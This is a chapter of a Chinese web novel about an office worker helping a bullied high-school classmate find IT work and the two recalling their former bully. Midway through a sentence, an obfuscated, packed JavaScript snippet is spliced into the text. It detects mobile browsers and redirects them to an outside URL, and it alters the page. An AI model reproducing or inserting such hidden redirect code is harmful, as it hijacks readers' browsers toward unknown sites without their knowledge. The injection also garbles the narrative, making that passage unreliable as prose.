谁能提供IT相关的工作?只有周英然了。和她这个底层小员工不同,现在的周英然已经是手握大权的中层领导了。 她不敢肖想把唐草塞进观声,只是项目会需要很多外包员工,能给她一个当外包的机会就已经谢天谢地了。 我最近怎么会这么忙的? 瘫在办公椅里,她抬头望着高高的天花板,感觉自己的人生一片混乱。 32. 霸凌 “周老师!哎呀您辛苦了周老师~还没吃晚饭吧?”姜与荷拎着咖啡和小蛋糕笑得殷勤。 因为周英然实在太忙,根本没空出来,所以她只能跑来项目现场找人。她蹲在边上看了半天,瞅准周英然一个人回办公室的时候才跑了过去。 至于为什么,自然是因为这家蛋糕店很贵啊。给其他人也送她可舍不得,只给周英然一个人又显得太刻意,最好就是等她落单的时候A上去。 周英然皱着眉给了她一个鄙视的眼神:“你又想干嘛?” 姜与荷笑得一脸灿烂:“我来看看您,学习一下您拼搏奋斗的精神!” “有屁快放,我马上要出去了。”她拿起了椅背上的外套。 “哎呀,就是那个……你最近的项目上还缺外包不?” 周英然转头问道:“外包一直是缺的,不过……你还需要找我帮忙?”她的表情有点无语和难以置信。 “您可是我最牛逼的朋友啊!不找您找谁呢!”姜与荷一脸谄媚。 “裴先生和吴铮呢?你不敢找裴先生,难道对吴铮也不敢开口?” “谁能跟自己的领导和老板当朋友啊!我几斤几两我自己还不知道吗?有个班上就不错了,我哪还敢多事。” 周英然翻了个白眼:“跟在裴先生身边还能混成你这样也是本事,你一天天的都在干嘛?” 姜与荷不作声,只蔫着头看地板。 懒得再看她,周英然直截了当地问:“行了,你到底想帮谁介绍?” 姜与荷迅速回应:“我的一个高中同学,特别特别聪明,高中时候不怎么听课也老是考第一……” “什么大学毕业的?” 姜与荷支支吾吾:“嗯……出了点意外,没上大学……” “高中学历?” “……她真的很聪明!我不是想让她直接过来!”姜与荷急忙解释:“我已经给她报了培训班,只是希望等她学完了你能给个面试机会,如果她不合格就算了!” 周英然点点头:“这没什么问题,如果不合格我是不会开后门的。” “行行行,一言为定!”姜与荷都想把她这话录下来。 除了程序员,周英然这里幕后剪辑制作人员也很缺。姜与荷想着给唐草再报俩班,能上的都上了,成功概率也高一点。 万一她到时候真的没通过,那就到时候再想办法。 从周英然那出来,八点不到,跟她估摸的差不多。她已经跟唐草说好,让她先打车去市中心,打算领她逛一逛,尽个地主之谊。 海城的特色就是高楼大厦了。唐草这几年虽然也呆过几个大城市,但海城倒是从没有来过。这里虽然纸醉金迷,但其实除了房价奇贵,由于物流的便利和竞争的激烈,其他消费品有时候还会比小城市更加便宜。 她带着唐草逛了市中心著名的商业街,即使是工作日的晚上依然人流如织。走累了,她们在一家甜品店坐下休息。 唐草显得很开心:“我好久都没有在这种店里吃东西了,都是服务别人。” 姜与荷真的无法理解:“那个男的到底哪里好?” “他……他以前真的很好。” “好了,我不想知道。”好还能让你放弃高考?姜与荷嗤之以鼻。 吃完甜品,她打算带唐草去元和大厦逛逛再回去。来都来了,这么出名的地方总要去看看,反正进去又不花钱。 唐草第一次走进这种有西装革履的门童帮你拉门的商场,一开始还有点紧张,但很快就被大厦内部的豪奢优雅吸引住了。 一楼中央换了新的艺术布景,巨大的人造桂花树直冲穹顶,树上装饰着点点金黄,偶尔飘落下几片花瓣,是轻如蝉翼、造型精致的金箔。 唐草很喜欢周围这些美丽而新奇的东西,姜与荷看着她亮晶晶的眼神,这时候才感觉她像一个二十几岁的女孩子。 对生活有热爱,对未来有期待,这才应该是年轻人的日子。 姜与荷买了一个小周边,微型的桂花树罩在金箔流沙的玻璃盖子里。小小一个就要三百多,实在有点肉疼。 她把这个小东西送给了唐草,唐草连忙推辞:“这么贵的我不要呀,你赶紧退了。” “拿着吧,来都来了,总要带点东西回去,这个大厦里应该没有比这更便宜的东西了。”姜与荷把它塞到唐草破了线的双肩包里:“祝你金银满仓,富贵荣华。” 唐草笑了起来,没有再推辞。 她们随便逛了一会,唐草叽叽喳喳地跟她讨论橱窗里那些美丽的衣服鞋子包包得多少钱,很有点高中时候打工回来和她讲八卦的样子。两人开开心心地打算回家,姜与荷却在这时候看见了一个不想见到的人。 穿着深V紧身连衣裙、Chanel长靴,外套Hermès羊绒披肩的金蓉蓉右手拎着几个奢侈品购物袋,左手搀着一个中年男子,两人身形紧贴,看起来相谈甚欢。 趁着她还没发现自己,姜与荷赶紧拉着唐草跑了。 一路上唐草异常的沉默,再没有了刚才的兴奋劲。 回到酒店,姜与荷试探性地问她:“你……不开心吗?” 她却像是发呆被打断了一样,愣愣地问:“啊?” “我是说,你怎么心情突然不好了。” “也没有……”她闷闷地说。 “现在我们之间,没有什么好瞒的了吧。”姜与荷不想被糊弄过去。 “我刚才见到一个人,很像……她。” 唐草脸上并没有遇见故人的怀念,只有一脸的空洞茫然,仿佛不知道自己该做什么。 姜与荷坐在一边看她,过了半晌才开口: “是金蓉蓉吗?” 唐草像受惊的小鸟一样朝姜与荷看去,眼神里有着几丝恐惧。 姜与荷继续说道:“你没看错,那就是她。” 是的,她们确实是高中同学,金蓉蓉没说错。 她也认识金蓉蓉,只是一直不承认而已。 因为金蓉蓉实在是个讨厌的人。 她是高中那个霸凌小团体的核心,因为她漂亮、会撒娇、家境又好,总是目光的焦点,校内校外都有很多“哥哥”。 星河高中是省重点,校内不会允许明目张胆的霸凌行为,但是私下的小动作、语言上的欺凌嘲笑、校外的挑衅侮辱就管不到了。 姜与荷是住校生,放假就回家,平时也都是默默学习,所以和这个小团体基本没什么交集。他们也一般不会找本地人的麻烦,因为不知道对方有什么七拐八拐的关系,万一出事会很麻烦。 唐草这样家境贫寒、父母无暇顾及她的外地孩子,简直是他们的完美霸凌对象。就算她早早出来打工,心态磨炼了一点,但到底是青春期的女孩子,面皮还薄,面对无缘无故、不知何时出现的羞辱欺凌依然是承受不住的。 姜与荷常常能见到她哭,有时是在教室里被那圈人围着低着头哭,有时是在校园里的其他地方躲着偷偷哭。也是因为实在看不下去,她帮过唐草几次,导致自己也被这个小团体盯上了。 好在几个月后金蓉蓉就转校了,姜与荷觉得她们高中的噩梦也就算结束了。 但看唐草的样子,她的噩梦原来一直存在着,从未断绝。 唐草的声音有些哽咽:“她……好像过得很好。” 姜与荷想了想:“是过得挺不错的。” “为什么……为什么她可以活得这么好?”唐草的声线颤抖,带着愤恨和不甘。 姜与荷考虑了半天,缓缓说道:“你工作这么久了,应该也知道,社会不是按善良程度分配资源的。” “金蓉蓉这种人,不拘泥于规则,嗅觉又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794901|154605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵敏,知道谁能欺负、谁不好惹。见风转舵、拜高踩低,不达目的不罢休……她混得好其实很正常。” 她看向唐草,眉眼间带着几丝怜悯。既是怜悯她,也是怜悯自己。 是啊,即使认出了施暴者,她们又能如何呢?十年之前的校园欺凌,现在要怎么算帐? 唐草家条件困难,她自己家也没好到哪里去。俩人都没有手机,也就没有录下任何证据,警察来了也没有办法。 而她自己,除了一口咬定不认识对方,不给她攀附的机会,别的也没什么能做的。金蓉蓉的公司本来就跟裴慎如没有任何联系,她就算想搞破坏也无从下手。 唐草突然问道:“你怎么知道是她的?” “工作时候碰到的,她先认出了我。” “她以前那样对你……还来跟你打招呼?”唐草觉得好荒谬。 姜与荷淡淡地说:“她只记得我们曾经是校友了,别的看样子都没想起来。” “什么?!她怎么能……” 唐草一脸的不可置信,随之而来的是极大的愤怒:“她怎么能不记得,她凭什么不记得!” “因为她是施暴者啊。” 姜与荷平静地告诉她:“施暴者是不会在乎受害者的感受的,对他们来说,我们只是无聊时的消遣,没有被记住的价值。” “甚至他们还会刻意遗忘受害者相关的记忆,好方便自己扮演一个善良无辜的角色。” “她早就遗忘了高中的事,如果你还走不出来,不是太不公平了吗?” 她现在只希望唐草能把握住眼前的机会,目前找到工作才是最重要的,其他的都要排在后面。 唐草抬手抹了一把眼睛:“嗯!我一定不会让你失望的!” 见她如此,姜与荷也放下心来:“好啦,别再管她了,早点休息吧,明天带你去买个笔记本。” “不用了吧,你已经帮我付了那么贵的学费了……” “没有电脑怎么当程序员啊,观声外包的待遇也是很不错的,等你面上了很快就能还给我了。” “面不上我也一定还你……” 姜与荷急忙打住:“呸呸呸,别说晦气话,你智商没变异就肯定行!” 她穿好外套起身:“我回家了,明天中午联系你。” “好!” 第二天她带着唐草买好了笔记本,她表示想下午就去上课。送走她后,姜与荷看看时间十二点半,打算再去周英然那露露脸。她决定以后时不时要去她面前晃晃,防止她忘记唐草这码事,毕竟培训班得六个月呢。 唉,求人办事真是不容易啊……她边打包沙拉边叹气。 周英然这次在外面的摄影棚里,她到了之后居然还看见了苏曼曦。似乎是因为那部剧实在太火爆,所以和她曾经参与的那档综艺《寻神搜诡》又合作出了个特别节目。 果然是红气养人,她感觉苏曼曦变美了,比起之前更加大气自信、神采奕奕,让人移不开眼。她正在做一个访谈,言语间谈笑自如,再没有之前的一丝拘谨。 姜与荷扭头四处张望,瞟见周英然在导演边上,连忙凑过去献殷勤:“周老师,还没吃午饭吧?来份沙拉先垫垫。” 周英然没说话,拿起沙拉就吃,边吃边盯着摄影机的屏幕。见她这么认真,姜与荷也不好打扰她,打算自己随便看看,再跟周英然打个招呼就走了。 她正四处瞎看,那边苏曼曦的访谈已经结束。她站起身,提着裙摆款步下台。身姿窈窕,行动优雅,姜与荷正想打开相机拍一张,就看见她朝着自己的方向走过来,只好再把手机塞回兜里。 正低头掏兜呢,就听见曼妙的女声在她耳边响起: “姜小姐,你好。” 她一脸呆滞地抬头,指了指自己,满头问号。 我们认识吗?